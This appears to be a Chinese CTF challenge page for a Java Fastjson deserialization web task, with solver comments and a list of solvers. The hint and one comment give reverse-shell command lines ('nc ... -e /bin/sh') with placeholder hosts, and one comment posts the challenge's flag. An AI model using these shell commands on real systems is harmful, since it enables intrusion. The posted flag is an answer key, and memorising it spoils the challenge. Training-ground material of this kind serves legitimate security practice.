Java Fastjson UnserializeWEB 未解决

分数: 40 金币: 5
题目作者: 云牧青
一  血: 云牧青
一血奖励: 8金币
解  决: 164
提  示: /bin/bash:x ; /bin/sh √ ; /dev/tcp × ; nc x.x.x.x x -e √ ;
描  述:
flag{}
评论
fu11dreamer 6月前

没有云主机是不是就没办法解题了?

回复 0

ilovevicky99 1年前

得不到反弹的shell呀 是一步一步按wp来的呀

回复 0

wxy1343 3年前

flag{c4825441cb7fe815994a6ba7651a9744}

回复 0

ruibiu 3年前

始终弹不回shell,回显com.alibaba.fastjson.JSONException: set property error, autoCommit

回复 1
fu11dreamer 6月前

我也是这个情况,本地 jdk 1.8.0_341

回复 0

txadmin 3年前

应该是jdk版本的问题,用jdk8可以反弹,用最新的jdk17反而不能

回复 0

jack12138 3年前

正向弹shell: nc ip port -e /bin/sh

回复 0

acvxd 4年前

误: 找不到或无法加载主类 marshalsec.jndi.LDAPRefServer

回复 0
sshui 3年前

工具坏了,重新找一个

回复 0

txadmin 4年前

解题参考 https://www.cnblogs.com/ktsm/p/15700289.html

回复 3
txadmin 3年前

@成朗 不好意思,最近复现了一下,代码确实有问题,不能用wget下载,而是访问那个网址或者git clone下来

回复 0

成朗 3年前

你这工具是坏的,虾仁猪心,,我用你的wp因为工具你编译的错误,导致我6个小时都在找哪里出错了。,,

回复 0

txadmin 4年前

题主是老java程序员吗?

回复 0
云牧青 4年前

并不是Java程序员,看代码就知道了,超水,哈哈哈

回复 0

blueyst 4年前

传payload直接传死机了可还行,痛失5金币,记仇ing

回复 2
云牧青 4年前

(つ﹏⊂)

回复 1

blueyst 4年前

自己抢自己一血了属于是

回复 2
云牧青 4年前

哈哈哈哈哈哈哈,没忍住

回复 1

WriteUp

image
xiaoxiaoran

4 金币

评分(3)

解题动态

KN11 攻破了该题 11小时前
风掠 攻破了该题 1天前
小楼一夜听春雨 攻破了该题 3天前
世界你好 攻破了该题 5天前
lzq2000 攻破了该题 6天前
xmai001 攻破了该题 6天前
能工智人 攻破了该题 6天前
iwindy 攻破了该题 17天前
CTF-大王 攻破了该题 23天前
riyuedeqi 攻破了该题 24天前
加州故事 攻破了该题 27天前
mystery 攻破了该题 28天前
mahiru 攻破了该题 1月前
路人甲1123 攻破了该题 1月前
兰小方 攻破了该题 1月前
ch4ng 攻破了该题 2月前
afeer123 攻破了该题 2月前
hdcc1 攻破了该题 2月前
1781****263 攻破了该题 2月前
ailiyishen 攻破了该题 2月前
问题反馈